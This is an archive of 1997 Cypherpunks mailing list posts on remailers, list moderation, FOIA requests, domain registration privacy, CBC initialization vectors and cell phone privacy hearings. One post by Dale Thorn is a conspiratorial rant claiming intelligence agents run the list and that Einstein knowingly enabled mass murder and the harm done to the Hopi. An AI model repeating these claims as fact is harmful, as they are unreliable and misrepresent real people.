Perry Metzger <perry@piermont.com> does this for cryptography@c2.net.
I asked him what modifications to majordomo he used, and he said he
has no mods.  I think that you just need to upgrade to the latest
version.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Otto Matic <ott0matic@hotmail.com>
Date: Fri, 7 Feb 1997 20:55:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: What else do I need for an Internet Server
Message-ID: <199702080455.UAA09531@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


What else do I need for an internet server?

HP Vectra Towers 2 each 486 cyrex chips 50 meg processor  Need high
speed hard drives.  These are the Tall Towers that have multiple 
drives, these are server towers.

I think I have a router Hub.  And a couple LAN cards.

That's all I have.  But I just got them, and I want to use them.  I assume I
will be using some kind of UNIX software.

Thanks:


otto
=-=-=-=-=-
Otto Matic

"Fuckin' A, Miller!"  Bud, Repo Man


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Fri, 7 Feb 1997 19:55:54 -0800 (PST)
To: mpd@netcom.com
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702080355.TAA08276@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"mpd@netcom.com"  "Mike Duvos"  7-FEB-1997 20:56:39.36

>That's all very nice, but I should point out that I have not yet
>seen my message to which you are responding on the filtered list. 

>Others mileage may vary. 

	IIRC, Majordomo sends out messages _approximately_ in the order
of the person's subscription. In any event, it has to send them out in _some_
order, and on a mailing list as large as cypherpunks, it's going to take a
while to get from one end to the other.
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Pearson <john@cognac.apana.org.au>
Date: Fri, 7 Feb 1997 11:56:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks FOIA request
Message-ID: <199702071956.LAA29471@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> On 1/18/97, I sent freedom of information act requests to the FBI (main and
> San Francisco offices), CIA, NSA, and Secret Service, asking them for copies
> of information in their files relating to or referring to the cypherpunks
> list, the cypherpunks meetings, and copies of any messages sent from or to
> "cypherpunks@toad.com".

[...]

> I'm not sure what I think about the response from the SF FBI branch - it
> seems unlikely that they'd never have paid any attention to the list, given
> the media coverage in Wired and other places. On the other hand, maybe the
> FBI doesn't read Wired. :) While they're not supposed to be monitoring
> noncriminal domestic activity, I figured they'd at least have something about
> the Mykotronix stuff. 
> 

If you think so, you may wish to consider filing an FOIA request 
for the Mykotronix stuff, and see if it mentions cypherpunks; 
it could provide an interesting perspective on their response.

John P.
john@huiac.apana.org.au







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 7 Feb 1997 22:25:50 -0800 (PST)
To: bs-org@c2.net
Subject: Re: lead remailer is shut down
Message-ID: <199702080625.WAA11233@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Raph's remailer list is at
   http://www.cs.berkeley.edu/~raph/remailer-list.html
and indicates lots of different remailer features,
including whether they accept or require PGP,
and what reliability they've been getting recently.

The remailer that was shut down was the remailer named "lead";
you may have noticed that your reply went to a machine named "zinc".....

At 11:56 PM 2/7/97 +0100, you wrote:
>Can anybody give me the address of reliable remailer which accepts
>pgp messages.
>
>BTW which remailer was shut down and why?
>
>
>
>
>
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 7 Feb 1997 20:10:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Brassard on Grover's Shake
Message-ID: <199702080410.UAA08550@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Gilles Brassard writes on Grover's "quantum shake" searching 
algorithm, demonstrates how it would break DES, and assays the 
promise of QC research. He notes that enviable NSA funds favor 
LAQC.

-----

   http://jya.com/qshake.htm







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 7 Feb 1997 20:25:58 -0800 (PST)
To: Ed Falk <Ed.Falk@Eng.Sun.COM>
Subject: Re: ANNOUNCEMNT: February 1997 keysigning session
Message-ID: <199702080425.UAA08799@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199702072349.PAA20677@peregrine.eng.sun.com>, on 02/07/97 at 05:49 PM,
   Ed.Falk@Eng.Sun.COM (Ed Falk) said:


>We have enough people who want to have a PGP keysigning session at tommorrow's
>meeting to make it worthwhile.  We'll probably be doing it at 17:00 or
>thereabouts.

Unfortunatly I have too much work to make the 3,000 miles to get there. :(

Would it be possiable at the next meeting to set up a CU-SEE-ME session for
those of us who do not live in the Bay Area?

Thanks,

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I'm an OS/2 developer...I don't NEED a life!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 0000000

iQCVAwUBMvv9D49Co1n+aLhhAQE1lgP/Sh0Mszii6dvSkssMI3rTHllz+EbFrtKk
k3qOPFkBSRbsaSXBTopenUjNpbbHANgzzUJRnekaUJIyZbTGRY9PF+QAFcsF/vXI
2HIjnStiyXdgESPE0YFPRiTzrkR5/18Ga2s20AlWXgaQApSSmIAhwrFWjmi1kQws
y0n+CZwqa0U=
=A+nO
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dan Veeneman <cypherp@decode.com>
Date: Fri, 7 Feb 1997 21:41:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Congressional cell phone security hearing
Message-ID: <199702080541.VAA10378@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hyperbole flew hot and heavy during a February 5 hearing on cellular
telephone privacy chaired by Louisiana Republican Billy Tauzin.  The
House Commerce Subcommittee on Telecommunications, Trade, and Consumer
Protection held a hearing titled "Is anybody listening?  You betcha."

Subcommittee members were shocked, just shocked to learn that,
according to a hyper-animated Thomas Wheeler (president of the
Cellular Telephone Industry Association), Americans are engaged
in "electronic stalking" of cellular telephone users.

Further details of CSPAN pandering and Ed Markey's (D-MA) Humpty Dumpty
imitation ("words mean whatever I want them to mean") elided.


Some notable moments:

Representative Cliff Stearns (R-FL), during a discussion about
encryption, called PGP "a darn good program."

Jay Kitchen, head of the Personal Communications Industry Association,
related an (apocryphal?) story about MI5 requiring 2 Crays to run for
3 days to break a single GSM.


Jim Kallstrom, Assistant Director FBI and head of the New York field
office, woodenly delivered his (IMHO unfocused) testimony and reported
that on the first day of the TWA Flight 800 crash investigation he
determined that the news media knew more than they should, so he
confiscated the cell phones of the FBI agents and locked them away,
under the (reasonable) presumption that reporters were listening to
FBI cell phone calls.

Jimmy also reiterated the FBI line that their new wiretap requirements
were reasonable and necessary to protect American citizens from
terrorists.


Dan
dan@decode.com

--
cypherp@decode.com (Dan Veeneman)
Cryptography, Security, Privacy BBS  +1 410 730 6734   Data/FAX





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Fri, 7 Feb 1997 21:11:01 -0800 (PST)
To: ichudov@algebra.com>
Subject: Re: Sandy suppresses truth about his moderation policy
Message-ID: <199702080511.VAA09788@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 7 Feb 1997, Igor Chudov @ home wrote:

> Below are some interesting facts implying that:
> 
> 1) Sandy uses a bot to reject articles of people he does not like

I see no evidence to substantiate this claim.  People who would be most likely
to get auto-blocked have managed to get at least one post sent to the moderated
list.

> 2) When I exposed him with an article showing all Received: dates, 
> he
> 	a) rejected the article exposing him

The only thing your previous post proved is that toad.com has a very little
delay between receiving and sending mail to cypherpunks-unedited.  Notice that
the post in question does not have an altered Message-Id and the sender is set
to owner-cypherpunks, not owner-cypherpunks-unedited which appears in all
messages sent to the flames list.

> and
> 	b) changed his moderation software so that Received: headers
> 	   for the cypherpunks-flames do not show the times when 
> 	   messages came in

The modification was made after there was the problem of the received headers
exposing the supposedly secret outgoing destination address of the moderated
list.  This change was certainly made before February 6, the date the post in
question was posted.  Also, John would have made this modification; not Sandy.


Mark


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMvwF/CzIPc7jvyFpAQE0lwf8Dx8bY2WUKDZQ4piOc0XRgY0LpbCOcbXZ
FGMOlR9o1Hk9Z3DlCtNReM1YF9WoeHkc4Z6wDtDu0XJunB5Rj4Hwa1qZmvY2a2S/
IkkBDp+RyA1QpTsEU1fQjNJR0LQBoIa/fVKyAzKJSD66tCHHneIvc4IrXAciobE1
9WX+h6r5wBjXkVEI9mgehrprqBRIRaNgURunyCavbXPbiEoS7bflBfKBLurj7OQf
uAERvyX6YYv7ZaycV9Qjx33ozrSrMzARbahx+ryWrO5MUuoZ9fabyeS61xr141Cv
QCPRyxq1Pl2TcJF2otpxpCuzoty4VzEONDib+O+BkNDPo9sGx8a/8w==
=J1Sw
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bs-org@c2.net
Date: Fri, 7 Feb 1997 16:56:23 -0800 (PST)
To: Ed Falk <zinc@zifi.genetics.utah.edu
Subject: Re: lead remailer is shut down
Message-ID: <199702080056.QAA05146@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:58 1997-02-07 -0800, Ed Falk wrote:
>
>Can't remailers be written with basic spam safeguards?  I.e. no mass
>crossposts, limited # of posts by each individual client per day, etc.?

Can anybody give me the address of reliable remailer which accepts
pgp messages.

BTW which remailer was shut down and why?









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 8 Feb 1997 07:25:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Privacy Problems with the IAHC New TLD Report SLD Policies
Message-ID: <199702081525.HAA18724@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The International Internet Ad-Hoc Committee released its report
on new Top Level Domains for the Internet.  It's interesting,
and resulted from much political wrangling and religious conflict,
and for the most part I think it's taking a reasonable approach
to the problems, and I'm certainly not going to go postal like
Postmaster Karl Denninger :-)  A few particularly nice features:
	- .nom TLD, for name-based domains
	- Multiple registrars per name space, reducing the monopoly problem
	- trying to keep governments or PTTs from controlling it,
		though it's a bit big-business oriented for stability reasons.
Mostly I wasn't worried, because sensible people were going to make 
sure they didn't do anything totally disastrous.

Apparently I _should_ have been watching more closely, because the SLD
_Second_ Level Domain part has some policies that seriously interfere
with the privacy of potential domain name users.  
References and long quotes are below...

To a large extent, they've been trying to avoid getting stuck in
trademark problems by collecting lots of information and defining
jurisdiction.  
In the process, they're asking you to sign away your first-born child
in return for getting your name in the Yellow Pages(tm),
and they're requiring all the Registrars to reject your application
unless you do.  

The rules are especially inappropriate for the .nom domain,
which is for personal names and such, and don't need overkill.
There's a place for serious high-value commerce behaviour,
and much of this isn't too inappropriate for .firm - but even that
ignores the radical communication-pushed changes in the economy 
that make everybody able to run a worldwide business. 

It's not just that they want your email address (highly reasonable)
or your phone and physical address (ought to be optional) or your 
IP address (they don't ask) or domain name (ok) or digital or written
signature.
It's not even just obnoxious things like demanding that you 
swear (against _my_ religion...) to a bunch of things, like
"the reason for requesting this particular domain name"
or what you're planning to do with the domain name (perfectly reasonable
things to ask for as optional extras, and business may want to reveal these,
but "Decline to State" or "" or "MYOB" are perfectly reasonable responses.)

It's things like designating an agent for service of process, and
"submits to the personal and subject matter jurisdiction and venue of a 
competent tribunal in the country where the registrar resides".
Aside from believing that you ought to be able to choose what governments,
if any, you're going to subject yourself to, I'd also expect that this
would be
annoying to people who don't live in one of the <=28 countries that
get Registrars in them.  And certainly if you're going to designate
someone as an agent for service of process (you can use the Registrar)
there'd better be some contractual language available so you can tell
what you're swearing to.

Is it reasonable to have a policy that users need to indicate 
how they'd like to receive communications about name and trademark disputes?
Sure.  And that they hold the Registrar harmless in such disputes?  Probably.
And which dispute resolution organization they're willing to have
resolve disputes over names (a _much_ milder statement than
"submit to personal and subject matter jurisdiction"....)?  
Yeah, even if the default is "the Registrar can disconnect your name
if you don't respond to trademark complaints in N days."
Certainly the Registrar ought to have some options here.




======================== REFERENCES ===================================
The Final Report is at http://www.iahc.org/draft-iahc-recommend-00.html
	(nice name for a "final" report :-)
The Application Forms for SLDs aren't in the draft on the web page,
	so I'm assuming they're referring to something similar to the
	December draft's Appendix.
Mailing list archives are at http://www.iahc.org/iahc-discuss/

==========================================================================
	QUOTES FROM THE REPORT
==========================================================================
6.1.5 Second-Level Domains
SLD application 
Application for a second-level domain name must include: 
     Sufficient contact and intended use information
     Appointment of an agent for service of process
     Agreement to jurisdiction in the event of trademark litigation.
     Mediation and arbitration clause (discussed in a later section) 

A separate document entitled "SLD Applications" (see section 1.4) contains 
the information that must be included in a SLD application.
Applications submitted electronically must include state of the art 
electronic identification; written applications must be signed by the
applicant, if an individual, or by an officer or other legally authorized 
representative if the applicant is an entity. 

Renewal and non-use 

To promote accountability, discourage extortion and minimize obsolete
entries, 
SLD assignments must be renewed annually. 
Appendix B, attached, includes the information that must be included 
in a renewal application. Renewal applications submitted 
electronically must include state of the art electronic identification; 
written renewal applications must be signed by the applicant, 
if an individual, or by an officer or other legally authorized 
representative if the applicant is an entity. 

In addition to requiring annual renewal, CORE will develop policies 
to ensure the recovery of sub-domains which no longer have an
authoritative source (lame delegations). 

6.2 Discussion

In order to ensure consistency of basic service across registrars, 
certain information is required in all applications for SLDs under
gTLDs. It is desirable that a domain name application include 
sufficient information regarding the applicant and the applicant's intended
use of the domain name to ensure applicant accountability 
and to ensure that sufficient information is available to enable trademark
owners to assess the need for a challenge to the proposed SLD domain. 

================= [more stuff]
================================================
7.1.3 Publication

All applications for SLDs in the gTLDs will be published on a 
publicly available, publicized web site, immediately upon receipt 
by the registrar. Such publication entries will include: 
     Name of the SLD;
     Contact and use information contained in the application;
     A permanent tag or label (created by CORE) indicating whether 
       the applicant chose the option of waiting 60 days prior to
       assignment of the requested SLD or chose to forego the 60 day wait;
     Entry validation using accepted digital signature and timestamping
techniques. 
Those applicants choosing not to wait will not be in a position to claim 
the defensive benefit of the waiting period against a challenge,
at any time, by a trademark owner. 
===================================================


=======================================================================
	APPENDIX FROM DRAFT - SLD APPLICATION REQUIREMENTS
=======================================================================
11.1 Appendix A - SLD Application Requirements

Every application for assignment of a SLD must include the following elements 
(incomplete applications must be returned to the applicant for completion): 

   1.Applicant's name, business or residential address, email address, 
	fax and phone number(s). 
   2.The state or country of incorporation or partnership (if applicable). 
   3.The name and address of a designated agent for service of process 
	where the registrar is located, which may be the applicant
      in the case of an individual. (The applicant may designate the 
	registrar as the agent for service of process.) 
   4.A sworn statement by the individual applicant or by an officer or 
	general partner of a corporate or partnership applicant: 
        1.that there is a bona fide intent to use the domain name publicly 
		within 60 days of registration, and a bona fide intent to
		continue such use in the foreseeable future; 
        2.that the domain name will be used for [fill in the blank, e.g., 
		"for a web site to advertise applicant's candy 
		manufacturing business"]. This may be a broad statement and is 
		not intended in any way to restrict actual use. However,
		to the extent that a commercial use is intended, this statement 
		should identify the industry in which the use is intended to
		be made and should indicate which of the following uses will 
		be made: web site, email, bulletin board and/other describe); 
        3.that the applicant believes that the intended use of the 
		domain name will not infringe any rights of any other party; 
        4.that the reason for requesting this particular domain name is 
		that it conforms to [check one of the following]: 
	     ___ applicant's company name or variation thereof 
	     ___ applicant's trademark or variation thereof 
	     ___ individual applicant's name or variation thereof 
	     ___ other (provide full explanation) 

   1.that the applicant submits to the personal and subject matter
	jurisdiction and venue of a competent tribunal in the country 
	where the registrar resides for purposes of any action brought 
	under trademark law, unfair competition laws, or similar/related 
	laws arising out of actual or intended use of the domain name 
	applied for; and applicant waives all rights to challenge such personal
	jurisdiction, subject matter jurisdiction and/or venue. 

============================================================================
========





#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 8 Feb 1997 07:57:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Successfully Routing Around Censorship In Italy
Message-ID: <199702081557.HAA20051@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


In Cu Digest, #9.07 -- see Cu Digest Homepage: 
	http://www.soci.niu.edu/~cudigest/  *
is a nice article on how an Italian mailing list 
was blocked by the University bureaucracy.
    LISA (Lista Italiana Sull'Accesso a Internet) is
    "an unmoderated area devoted to discussion about social, cultural
    and economic aspects related to the development of the Internet in Italy."

Two days later they were up and running on a machine in Utah.

> Choosing censorship instead of an open debate is 
> something we will never be willing to silently accept.
> Laura Caponi
> Owner of LISA
> Lista Italiana Sull'Accesso a Internet


* This issue isn't on the web page quite yet....


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Sat, 8 Feb 1997 00:10:48 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: anonymous remailers
Message-ID: <199702080810.AAA13064@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Andrew Loewenstern <andrew_loewenstern@il.us.swissbank.com> writes:
> Charley Musselman writes:
> >  Does anyone know the answer?  Specifically, how can we choose
> >  a trusted remailer?
> 
> The answer is to run your own remailer.  Make sure your chain includes your  
> remailer at least once.  If you can't trust yourself, who can you trust?

Ummm, if you run your own remailer, and don't get lots of people to
use it, then traffic analysis will reveal that you are the sender
quite quickly. It will pretty much make everything in the chain before
your remiler useless. If you send your message through remailers a, b,
c, and d like this:

you -> a -> b -> c -> d -> alt.drugs.and-other-various-horsemen

and only you use c, then your effective chain is:

someone who could only be you -> d -> alt.drugs.and-other-various-horsemen

This chain is weak indeed.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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Version: 2.6.2

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Ur9fQt3Yms19bCbq+bAWoeNC5ZPjXESCtGigPW3VmXVjCd4igPepk25dtzR1OcL+
In/0n9QcRqDvmupZFFdldY62orGQyVEm
=JIWK
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 8 Feb 1997 07:25:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: NYC meeting?
Message-ID: <199702081525.HAA18717@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

are there any Cypherpunks-Meetings in NYC?

Ciao

Harka

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Larry Layten <larry@ljl.com>
Date: Tue, 11 Feb 1997 05:56:00 -0800 (PST)
To: "cryptography@c2.net>
Subject: RE: Encrypted filing of patents sans GAK?
Message-ID: <199702111356.FAA18866@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


In all that I have read or heard, I have only seen Key Recovery
techniques in reference to encryption. I don't believe that anyone
thinks that Key Recovery is applicable to digital signatures.

Any well designed system provides for separate keys for encryption
and signature anyway. The application of digital signatures is 
often considered to be a part of encryption, but encryption should 
never be considered part of a digital signature process. The two
are really completely different processes with different purposes 
and ramifications.

Larry






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Goldberg <iang@cs.berkeley.edu>
Date: Fri, 7 Feb 1997 22:40:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 40-bit RC5 crack meaningless?
Message-ID: <199702080640.WAA11471@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In article <199702071941.LAA29283@toad.com>,
Peter Trei  <trei@ziplink.net> wrote:
>The purpose of an IV is to make dictionary and replay attacks more
>difficult. It is not intended to prevent brute force attacks, and so
>is _normally_ included in the clear in communications protocols (for
>example, see RFC 1827 for it's clear transmission in IPSEC). If it
>is not included, it is effectively part of the keying material, and
>thus adds it's bits to the strength of the key. As such, its value
>would have to be transmitted and protected as carefully as the rest of
>the key.  

This is a common mistake.  Just use the first block of ciphertext as the IV,
and start decrypting from the second block.  Let's say you discover that
key K causes C2,C3,... to decrypt to something intelligible (P2,P3,...),
using C1 as the IV.  What could P1 have been?  Well, we know that
(if IV is the _actual_ IV, which you don't know) E_K[IV^P1] = C1, so
IV^P1 = D_K[C1].  But we now have what is effectively a one-time pad
situation, where P1 is the plaintext, IV is the pad, and D_K[C1] is the
ciphertext.  Thus, if you don't know the IV in a CBC situation, you can
still recover all of the plaintext starting at the second block with
the same amount of work it would have taken to have recovered the whole
plaintext, given the IV (the IV does not in fact add its bits to the
strength of the key), but you learn nothing about the first block
(unless something about the protocol gives you a clue based on your knowledge
of subsequent blocks).

Disclaimer: I've been having a rough week...

   - Ian

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sat, 8 Feb 1997 07:56:01 -0800 (PST)
To: "Mark M." <cypherpunks@toad.com>
Subject: Re: faulty moderation software: duplicate messages
Message-ID: <199702081556.HAA20009@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970207:1759 "Mark M." <markm@voicenet.com> said:

+All messages with "Sender: owner-cypherpunks-unedited@toad.com" are
+received from the flames list.  The difference between the unedited and
+moderated lists is that the moderated list changes the message ID,
+appending toad.com, and deletes all received headers before
+"majordom@localhost.*by toad.com".  None of the messages are being
+doubled; this is just the result of buggy software

    if you receive both the unedited and the censored plus flames, each 
    message should be doubled --unedited sends all messages, but fails 
    to always mark them in sender -basically, you need to key on the 
    fact the Message-ID is NOT ....@toad.com for the unedited file

    no, I dont have a problem with that, it is just stupid on toad's 
    part (John?) to not correctly identify the pass through messages 
    with 'Sender: owner-cypherpunks-unedited@toad.com'  --a few are, 
    but the vast majority are still shipped out as 'Sender: 
    owner-cypherpunks@toad.com' (and the 'Received' chain as I pointed 
    out in my original post). to me that is piss poor list management.

    unfortunately, I can not use procmail at this point on my mail 
    reader platform, but the internal filters are multilevel and do 
    allow enough flexibility. I use procmail extensively on my host for 
    autobots, spam filtering, objectional posters filtering, etc. 

    I think you  probably have an error in your procmail script as to 
    sending 'unedited' to flames. the theory stated is:
    
        mainline (censored) + flames == unedited

    but I will not test it since I prefer to read/respond off line with 
    MR/2 than Pine online. I will request Nick Knight for the 
    construction of his folders (except he has no lock mechanism) and I 
    might write a PPP POP3 mail recovery program, pass it through 
    procmail which passes it to a function to write it to MR/2's 
    folders.

        however you slice it, censorship on a freedom of speech list     
    just does not make it and we make fools of ourselves if we think 
    otherwise.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Feb 1997 05:56:07 -0800 (PST)
To: Otto Matic <ott0matic@hotmail.com>
Subject: Re: What else do I need for an Internet Server
Message-ID: <199702111356.FAA18876@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Otto Matic wrote:
> What else do I need for an internet server?
> HP Vectra Towers 2 each 486 cyrex chips 50 meg processor  Need high
> speed hard drives.  These are the Tall Towers that have multiple
> drives, these are server towers.
> I think I have a router Hub.  And a couple LAN cards.
> That's all I have.  But I just got them, and I want to use them.  I assume I
> will be using some kind of UNIX software.

HP does some strange things to their BIOS software - you may want to
get one of those net analyzer tools and some low-level software that
can monitor what your HP's are sending and receiving, just in case.

They don't normally use Vectras for UNIX, so what effects you can
expect, I don't know.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Tue, 11 Feb 1997 06:11:45 -0800 (PST)
To: Jeremey Barrett <jeremey@veriweb.com>
Subject: Re: NETLINK_IPSEC
Message-ID: <199702111411.GAA19349@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 04:21 PM 2/7/97 -0800, Jeremey Barrett wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>When running 'make modules', NETLINK_IPSEC and IPFWD_NOTTLDEC are
>undeclared. I added NETLINK_IPSEC to include/net/netlink.h,
>but IPFWD_NOTTLDEC is not to be found. I'm running kernel 2.0.0,
>the INSTALL.txt file in the ipsec distribution mentions 2.0.24,
>is that the minimum kernel to run on?

Is there any specific reason for staying with the 2.0.0 kernel?  (I would
think you would want to upgrade just for the "Ping O' Death" fix alone.)

Has anyone tried IPSEC with the 2.1.x kernels?  Are there a logcation that
describes the differences between 2.0.x and 2.1.x?  (I have not been able to
find one...)  Then again, I have yet to find a list of what was fixed from
kernel to kernel...  (Probibly in some directory of the tar file...)

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-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 8 Feb 1997 09:42:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702081742.JAA00228@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


??? wrote:

[some text deleted]

> > Before I explain what has happened, I want to make one thing
> > absolutely clear.  Though I've thought the moderation of cypherpunks
> > was a terrible idea from the start and am even more convinced of it
> > now, I don't assign any blame to Sandy.  I believe he offered to
> > moderate the list with the best of intentions, and I sincerely
> > appreciate his efforts to try to revive what was once a fantastic
> > mailing list, even if in my opinion those efforts have backfired.

This is the fatal mistake, assuming it's really a mistake.
I've worked under several corporations where, at a certain
point in time, things just "went crazy", and the owners/
managers were scrambling desperately to plug as many holes
in the dike as they possibly could, to no avail.

People don't understand why things just "go crazy" at a particular
point, and so they accept the coincidence theory ruse, lacking any
other evidence.  Use your head, folks.  This is not a list made up
of sewing-circle nannies, these are security people, NSA, CIA, and
all the ugly things you shut out of your conversations because you
don't want to admit the truth.  "Paranoia is a way of knowing".

Today I saw an old picture of Albert Einstein in full Indian regalia,
smoking a peace pipe with some Hopi people.  I thought of the Capone
mob and the "kiss of death", or Judas and Jesus, you get the picture.

So Einstein puts his name and reputation and personal seal of approval
on the creation of the Doomsday Device, the atom bomb, knowing full
well that it will be used to murder millions of people. What does he
do for an encore?  Plants the "kiss of death" on the Hopis, whose
environment is co-opted by the mad bombers and their Nazi-infested
thug "scientist" cohorts, for the experimentation and storage of
nuclear and other hazardous materials.  You know, Nevada, Arizona,
New Mexico, all those "useless, desert lands" occupied by the
Indians.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sat, 8 Feb 1997 09:41:04 -0800 (PST)
To: Anil Das <das@razor.engr.sgi.com>
Subject: Re: Enlightened commentary on Netizen.
Message-ID: <199702081741.JAA00191@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:41 PM 2/6/97 -0800, Anil Das wrote:

>    However, the question has to be asked, why the fuck should we non US
citizens go and buy
>    cryptographic software that is deliberately coded to allow the US
government to read our mail? 

You shouldn't.

Maybe someone should print up a batch of "Voyeur Enabled" stickers for all
the GAKed products  (or should that be KRAP products, since it is the Key
Recovery Alliance, but that is redundant) we will be seeing at our local
software stores.

Sometimes I think the reason for all this snake oil we have been seeing is
the Feds need it for extra lubricant so they don't chafe themselves while
getting off on reading our mail.

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3QezDreJtUXr/OCmxRngOQbeHuGDkXuIocfTV7sZU/j7ARWj9hKCd39xf6J/MmZ6
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Ps47vKyf2VwQM6Ci49/uuU8um/l9TmDsuHkYYmsoDfsGpcZImEWzZw==
=Prg6
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





